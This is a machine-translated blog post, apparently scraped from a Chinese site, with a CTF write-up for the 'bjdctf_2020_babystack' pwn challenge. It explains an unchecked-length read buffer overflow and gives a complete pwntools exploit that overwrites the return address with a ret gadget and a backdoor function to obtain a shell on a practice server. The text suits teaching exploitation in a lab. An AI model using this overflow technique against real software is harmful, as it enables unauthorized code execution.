当前位置:网站首页>bjdctf_ 2020_ babystack
bjdctf_ 2020_ babystack
2022-06-24 07:23:00 【[mzq]】
bjdctf_2020_babystack

checksec once 64 Bit program Didn't open anything ,ida Look at the program 
main function
What do you think read Function reads in 0 A string , Read a lonely ,scanf Also can not overflow , There seems to be no problem 
however scanf Will read in a number entered by the user and assign it to nbytes , then read Will read nbytes Size characters , That is, we can overflow any length 
backdoor function
Run this function to get shell
exp
ret To balance the stack Actually backdoor Function recurs +1 It's OK
from pwn import *
io = process("./bjdctf_2020_babystack")
io = remote("node4.buuoj.cn",29159)
elf = ELF("./bjdctf_2020_babystack")
context(log_level="debug",arch="amd64")
backdoor = elf.symbols["backdoor"]
ret = 0x0000000000400561
print backdoor
io.sendlineafter(b"Please input the length of your name:","100")
payload = "a"*16 + "b"*8 + p64(ret) + p64(backdoor)
payload = flat(["a"*16,"b"*8,ret,backdoor])
io.sendlineafter("What's u name?",payload)
io.interactive()

边栏推荐
- Precipitation of architecture design methodology
- 0 foundation a literature club low code development member management applet (I)
- Can the small fire Chunfeng tea make its debut by "keeping fit"?
- Serviceworker working mechanism and life cycle: resource caching and collaborative communication processing
- [image fusion] image fusion based on NSST and PCNN with matlab code
- 【云驻共创】华为云HCIA-IoT V2.5培训系列内容之物联网概览
- What is automated testing? What software projects are suitable for automated testing?
- [image feature extraction] image feature extraction based on pulse coupled neural network (PCNN) including Matlab source code
- Win11分磁盘怎么分?Win11系统怎么分磁盘?
- Decryption of the original divine square stone mechanism
猜你喜欢

Leetcode probability interview shock series 11~15

华为云数据库进阶学习

How can genetic testing help patients fight disease?

Mysql---三张表(student,课程,分数) 查询课程为数学的学生姓名,编号,成绩
![[image fusion] image fusion based on directional discrete cosine transform and principal component analysis with matlab code](/img/21/a5a973f06ea002755a8a2a4431dcd8.png)
[image fusion] image fusion based on directional discrete cosine transform and principal component analysis with matlab code

Learning to use BACnet gateway of building control system is not so difficult

MFC使用控制台时 项目路径中不能有空格和中文,否则会报错误 LNK1342 未能保存要编辑的二进制文件的备份副本等

20 not to be missed ES6 tips

2022蓝队HW初级面试题总结

jarvisoj_level2
随机推荐
2、 What is the principle of layer 3 and 4 switching technology? Recommended collection!
什么是CC攻击?如何判断网站是否被CC攻击? CC攻击怎么防御?
2022蓝队HW初级面试题总结
Huawei cloud database advanced learning
[WUSTCTF2020]alison_likes_jojo
湖北专升本-湖师计科
JVM debugging tool -jstack
PCL calculates the area of a polygon
【图像融合】基于NSST结合PCNN实现图像融合附matlab代码
JVM debugging tool -jmap
基因检测,如何帮助患者对抗疾病?
Intranet learning notes (4)
Win11怎么设置让CPU性能全开?Win11CPU怎么设置高性能模式?
华为云数据库进阶学习
Leetcode概率题面试突击系列11~15
0 foundation a literature club low code development member management applet (6)
Audio knowledge (V) -- data processing
【WordPress建站】6. 文章内容防复制
前缀和专题训练
内网学习笔记(4)